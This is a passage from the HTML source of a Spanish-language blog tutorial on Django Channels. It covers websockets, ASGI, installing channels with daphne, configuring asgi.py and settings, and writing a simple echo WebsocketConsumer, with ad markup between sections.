ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Django channels coloca una capa intermedia que se encarga de procesar las peticiones http a las vistas de django y las conexiones websocket a un consumer http o un consumer websocket.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/djangoWsgiChannels.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/djangoWsgiChannels.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema simplificado del funcionamiento de Django channels&#34; width=&#34;700&#34; height=&#34;770&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;que-es-un-channel-y-un-websocket&#34;&gt;¿Qué es un channel y un websocket?&lt;/h2&gt;&#xA;&lt;p&gt;Te recomiendo que si no tienes idea de websockets y canales le des una leída a estos dos conceptos pues los usaré a lo largo de esta entrada y la siguiente.&lt;/p&gt;&#xA;&lt;p&gt;Si tienes prisa puedes conformarte con estas definiciones que pecan de simplistas e incompletas:&lt;/p&gt;&#xA;&lt;p&gt;Un websocket es una conexión persistente que existe entre el navegador de un usuario y un servidor web.&lt;/p&gt;&#xA;&lt;p&gt;Un canal o channel es un modelo que permite que varios procesos se comuniquen entre sí por medio de la transmisión de mensajes. django-channels debe su nombre a este concepto y el concepto es bastante similar al que te encontrarías en lenguajes de programación como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-uso-de-channels-o-canales-para-comunicar-goroutinas/&#34;&gt;Go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;django-channels-requiere-asgi&#34;&gt;Django channels requiere ASGI&lt;/h2&gt;&#xA;&lt;p&gt;Django channels requiere que pasemos de un servidor WSGI a un ASGI, para manejar su naturaleza asíncrona.&lt;/p&gt;&#xA;&lt;p&gt;Si no sabes que significa ASGI, quédate con la idea de que es una interfaz para que Python interactúe con servidores web de manera asíncrona.&lt;/p&gt;&#xA;&lt;p&gt;Cada vez que un usuario nuevo inicie una petición se creará una &amp;ldquo;aplicación&amp;rdquo; de ASGI que manejaremos , esta conexión, a diferencia de una petición HTTP normal, esta es persistente.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;instalacion-de-django-channels&#34;&gt;Instalación de django channels&lt;/h2&gt;&#xA;&lt;p&gt;Primero instalamos channels directo desde nuestro gestor de paquetes favorito, yo usaré pipenv y la versión más actual a la fecha de este artículo.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install channels[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;daphne&amp;#34;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo agregamos a nuestras aplicaciones instaladas.&lt;/p&gt;&#xA;&lt;p&gt;Daphne debe estar hasta arriba de todas las aplicaciones, debido a que toma control del comando runserver para inicializar la aplicación.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;daphne&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.auth&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.contenttypes&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sessions&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sites&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;channels&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;En nuestra carpeta de proyecto se crea un archivo &lt;em&gt;asgi.py&lt;/em&gt; cuando corremos &lt;em&gt;django-admin startproject&lt;/em&gt;. Este archivo es &lt;strong&gt;la &amp;ldquo;puerta&amp;rdquo; por la que interactúa un servidor con nuestro código Python&lt;/strong&gt;. Es necesario que lo modifiquemos para indicarle a django como debe manejar cada protocolo.&lt;/p&gt;&#xA;&lt;p&gt;Mi aplicación se llama &amp;ldquo;&lt;em&gt;mychannels&lt;/em&gt;&amp;rdquo; pero reemplaza el nombre por el de la tuya.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; &lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/asgi.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.routing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ProtocolTypeRouter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.asgi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_asgi_application&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DJANGO_SETTINGS_MODULE&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;mychannels.settings&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;application &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ProtocolTypeRouter({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;: get_asgi_application(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Ahora mismo solo tiene el protocolo http, el que usamos normalmente&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora necesitamos indicarle a django que usaremos una aplicación ASGI. Este paso conseguirá que nuestra aplicación envuelva al comando &lt;em&gt;runserver&lt;/em&gt; que provee django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ASGI_APPLICATION &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mychannels.asgi.application&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora, crearemos una aplicación llamada chat.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;django-admin startapp chat&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y la añadiremos a nuestras apps instaladas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; (&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;chat&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;channels&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En esta app radicarán los encargados de manejar las conexiones websocket que crearemos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;manejando-conexiones-ws-con-un-consumer&#34;&gt;Manejando conexiones ws con un consumer&lt;/h2&gt;&#xA;&lt;p&gt;¿Qué es un consumer? Un &lt;em&gt;consumer&lt;/em&gt; es &lt;strong&gt;una abstracción de un canal o channel en forma de clase, esta clase implementa métodos que se encargarán de manejar los eventos&lt;/strong&gt; de nuestros usuarios. Además existen consumers síncronos y asíncronos que manejan el código de bajo nivel en Python por ti.&lt;/p&gt;&#xA;&lt;h3 id=&#34;que-eventos-puede-manejar-un-consumer&#34;&gt;¿Qué eventos puede manejar un consumer?&lt;/h3&gt;&#xA;&lt;p&gt;Los eventos son las acciones que realizarán nuestros usuarios, como conectarse, desconectarse o mandar información al websocket y el consumer responderá a estos. Además de estos eventos podemos crear eventos personalizados (no te preocupes por eso ahora) y asignarlos a funciones.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/websocketYConsumer-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-consumers-environments-and-events/images/websocketYConsumer-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema simplificado de un websocket y un consumer&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;El web socket manda información con el método send, el consumer la recibe con su método receive, y posteriormente manda una respuesta con send, que el websocket procesará con onmessage&lt;/p&gt;&#xA;&lt;p&gt;Hay consumers para colas, websockets, síncronos, etc.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;AsyncWebsocketConsumer&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://channels.readthedocs.io/en/stable/topics/consumers.html#asyncwebsocketconsumer&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;JsonWebsocketConsumer&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://channels.readthedocs.io/en/stable/topics/consumers.html#jsonwebsocketconsumer&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;AsyncJsonWebsocketConsumer&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://channels.readthedocs.io/en/stable/topics/consumers.html#asyncjsonwebsocketconsumer&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;AsyncHttpConsumer&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://channels.readthedocs.io/en/stable/topics/consumers.html#asynchttpconsumer&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;El tipo de consumer dependerá de la clase que herede.&lt;/p&gt;&#xA;&lt;p&gt;Nosotros crearemos un &lt;em&gt;consumer&lt;/em&gt; para websocket en nuestra aplicación chat.&lt;/p&gt;&#xA;&lt;h3 id=&#34;estructura-de-un-consumer&#34;&gt;Estructura de un consumer&lt;/h3&gt;&#xA;&lt;p&gt;Observa la estructura de un &lt;em&gt;consumer&lt;/em&gt;, &lt;strong&gt;cada método se encargará de manejar un evento diferente.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Este de aquí &lt;strong&gt;hereda de &lt;em&gt;WebsocketConsumer&lt;/em&gt; la cual posee los eventos &lt;em&gt;connect&lt;/em&gt;, &lt;em&gt;receive&lt;/em&gt; y &lt;em&gt;disconnect&lt;/em&gt;&lt;/strong&gt;, que se ejecutarán al iniciar de una conexión, recibir un mensaje o cerrar una desconexión, respectivamente.&lt;/p&gt;&#xA;&lt;p&gt;Además &lt;strong&gt;cada consumer tiene las propiedades &lt;em&gt;channel_layer&lt;/em&gt; y &lt;em&gt;channel_name&lt;/em&gt;&lt;/strong&gt;, que se refieren al channel_layer al que pertenecen y su propio nombre, respectivamente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# chat/consumers.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.generic.websocket &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; WebsocketConsumer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ChatConsumer&lt;/span&gt;(WebsocketConsumer):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;connect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;el usuario se ha conectado&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# aceptamos la conexión&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;accept()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;disconnect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, close_code):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# Desonectamos al usuario&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;el usuario se ha desconectado&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Receive message from WebSocket&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;receive&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, text_data):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        text_data_json &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; json&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;loads(text_data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        message &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; text_data_json[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;send(text_data&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;json&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;dumps({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;: message&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Te resumo lo que hace el consumer que acabamos de crear:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;connect&lt;/em&gt;, se ejecuta cuando un usuario se conecte, &lt;em&gt;accept&lt;/em&gt; aceptará la conexión&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;disconnect&lt;/em&gt;, se ejecuta cuando un usuario se desconecta, solo imprimirá en pantalla&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;receive&lt;/em&gt;, se ejecuta cuando un websocket envía información, para este ejemplo solo devolverá, al emisor, el texto enviado como un objeto JSON por medio del método &lt;em&gt;send&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;scope-y-eventos&#34;&gt;Scope y eventos&lt;/h2&gt;&#xA;&lt;p&gt;Django channels divide cada petición a un consumer en dos componentes: un &lt;em&gt;scope&lt;/em&gt; y una serie de eventos.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;El &lt;em&gt;scope&lt;/em&gt; guarda información que contiene la petición web (muy parecido al objeto request) esta información le permite identificar cada conexión.&lt;/strong&gt; Durante el tiempo de vida de la conexión, el usuario interactúa con esta, desencadenando eventos.&lt;/p&gt;&#xA;&lt;p&gt;El &lt;em&gt;scope&lt;/em&gt; &lt;strong&gt;está disponible en cada objeto &lt;em&gt;consumer&lt;/em&gt; en su propiedad 